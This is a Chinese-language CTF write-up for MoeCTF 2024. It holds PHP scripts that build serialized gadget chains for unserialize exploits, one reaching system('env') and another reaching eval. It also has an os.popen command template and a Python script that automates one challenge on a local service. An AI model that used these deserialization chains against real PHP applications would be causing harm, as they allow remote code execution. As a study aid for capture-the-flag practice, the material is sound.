MoeCTF 2024 解题小记（WP）

<!--恭喜你找到了网页的源代码，通常在这里题目会放一些提示，做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步：/flag2hh.php-->

<?php
class A {
    // 注意 private 属性的序列化哦
    private $evil = 'env';

    // 如何赋值呢
    private $a = 'system';

   // function __destruct() {
      //  $s = $this->a;
      //  $s($this->evil);
    //}
}

class B {
    private $b;

    //function __invoke($c) {
      //  $s = $this->b;
       // $s($c);
    //}
}
$obj = new A();
echo urlencode(serialize($obj));
?>

import os
os.popen("SYSCMD").read()

<?php

class class000 {
    private $payl0ad = '0';//跳过if
    protected $what = new class001();//要调用class001的invoke方法

    // public function __destruct()
    // {
    //     $this->check();
    // }

    // public function check()
    // {
    //     if($this->payl0ad === 0)
    //     {
    //         die('FAILED TO ATTACK');
    //     }
    //     $a = $this->what;
    //     $a();//此时会调用class001的invoke方法
    // }
}

class class001 {
    public $payl0ad = 'dangerous';
    public $a = new class002();
    // public function __invoke()
    // {
    //     $this->a->payload = $this->payl0ad;//把dangerous赋给class002的payload变量，相当于设置变量，会调用set方法
    // }
}

class class002 {
    private $sec = new class003();
    // public function __set($a, $b)//值是dangerous
    // {
    //     $this->$b($this->sec);//把b设置成dangerous，sec为new class003()返回mystr
    // }

    // public function dangerous($whaattt)
    // {
    //     $whaattt->evvval($this->sec);//$whaattt设置为class003，sec设置为new class003()，whaatt设置需要执行dangerous方法
    // }

}

class class003 {
    public $mystr = 'phpinfo();';//设置mystr为要执行rce的命令
    // public function evvval($str)
    // {
    //     eval($str);
    // }

    // public function __tostring()
    // {
    //     return $this->mystr;
    // }
}

echo serialize(new class000());

// if(isset($_GET['data']))
// {
//     $a = unserialize($_GET['data']);
// }
// else {
//     highlight_file(__FILE__);
// }

<?php
class class000{
	public  $payl0ad;
	public  $what;

	public function __construct(){
		$this->payl0ad = '0';
		$this->what = new class001();
	}
}	
class class001{
	public $payl0ad;
	public $a;
	public function __construct(){
		$this->payl0ad = 'dangerous';
		$this->a = new class002();
	}
}
class class002{
	public $sec;
	public function __construct(){
		$this->sec = new class003();
	}
}
class class003{
	public $mystr;
	public function __construct(){
		$this->mystr = 'phpinfo();';
	}
}
echo serialize(new class000());
?>

import requests

# 服务URL
url = "http://127.0.0.1:55165/"

# 初始化session对象
session = requests.Session()

# 方位数据
directions_single = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]
directions_double = [f"{d}一个" for d in directions_single]
prompts = ['1', '2', '3', '4', '5', '6', '7', '8']

# 初始数据
data_init = {
    'player': 1,
    'direct': '弟子明白'
}

try:
    # 发送初始POST请求
    response = session.post(url, data=data_init)
    response.raise_for_status()  # 检查请求是否成功

    # 重复过程5次
    for _ in range(5):
        # 提取消息中的最后8个字符作为提示
        msg = response.text[-30:-22]

        # 分析提示
        num = 0
        string = ''
        for char in msg:
            if char in prompts:
                num += 1
                string += char

        # 根据提示数量构建新的请求数据
        if num == 1:
            index = int(string) - 1
            direction_data = {
                'player': 1,
                'direct': directions_single[index]
            }
            print(f'Sending: {directions_single[index]}')
        elif num == 2:
            index1, index2 = int(string[0]) - 1, int(string[1]) - 1
            direction_data = {
                'player': 1,
                'direct': f'{directions_double[index1]}，{directions_double[index2]}'
            }
            print(f'Sending: {directions_double[index1]}，{directions_double[index2]}')
        else:
            raise ValueError("Unexpected number of prompts: {}".format(num))

        # 发送新请求
        response = session.post(url, data=direction_data)
        response.raise_for_status()
        print(response.text)

except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")